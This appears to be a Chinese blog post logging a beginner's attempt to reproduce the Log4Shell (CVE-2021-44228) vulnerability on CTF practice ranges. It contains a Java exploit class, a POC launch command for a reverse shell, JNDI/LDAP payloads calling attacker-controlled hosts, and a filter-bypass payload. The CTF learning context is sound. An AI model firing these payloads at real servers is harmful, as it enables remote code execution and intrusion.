(脚本小子)log4jshell
理解
原理参考
https://nvd.nist.gov/vuln/detail/CVE-2021-44228
https://logging.apache.org/log4j/2.x/
https://zhuanlan.zhihu.com/p/444140910
简单来说,用户输入会记录在log4j中,而log4j自带lookup功能,格式为${parser:xxx}
。如果用户输入lookup会被log4j解析。
jndi是parser的一种,是一种标准的Java命名系统接口,可以连接远程服务,格式为${jndi:schema://url}
ldap是schema的一种,${jndi:ldap://url}
会使log4j从url指定的路径下载一段字节流,并将其反序列化为Java对象,作为jndi返回。反序列化过程中,即会执行字节流中包含的程序。
而url的内容可以被控制,我们可以返回恶意代码
JNDI服务用脚本或者什么工具可以一键搭建。具体见https://segmentfault.com/a/1190000041117219
而恶意类类似这样
class Exploit {
static {
System.err.println("Pwned");
try {
String cmds = "calc";
Runtime.getRuntime().exec(cmds);
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
即可弹计算器
复现
使用ctfshow上的靶场
https://ctf.show/challenges
LDAP服务器用自己的VPS,搭建用大神写的脚本。(什么是脚本小子啊)
我用的POC(内含LDAP一键搭建和docker靶场环境)
https://github.com/kozmer/log4j-shell-poc
(貌似这个POC的docker有问题,在本地死活弹不了shell555)
把POC文件放在vps上就可以了。启动脚本的时候把命令换成
python3 poc.py --userip [vpsIP] --webport 8000 --lport 9001
具体过程略
这里好像有个坑(没验证过),lookup可能只用于DNS解析。所以必须尝试payload
${jndi:ldap://xxxxx.dnslog.cn/exp}
${jndi:ldap://${sys:java.version}xxxxx.dnslog.cn/exp}
第一条有回显,第二条无回显,才能说明漏洞可以利用.
题目:长安战疫 shiro?(表面复现)
登陆界面存在触发点。过滤了jndi和ldap关键字。如下构造lookup绕过
${${::-j}ndi:${::-l}dap://ip:1389/a}
然而然而,卡在这一步了
然后拿ctfshow的靶场又试了一遍,发现居然也不行qwq
我不理解啊!!难不成因为上次是校园网就可以,在家就不行???
然后调了一下vps,好了,vps炸了。重启,无限卡重启。
/kill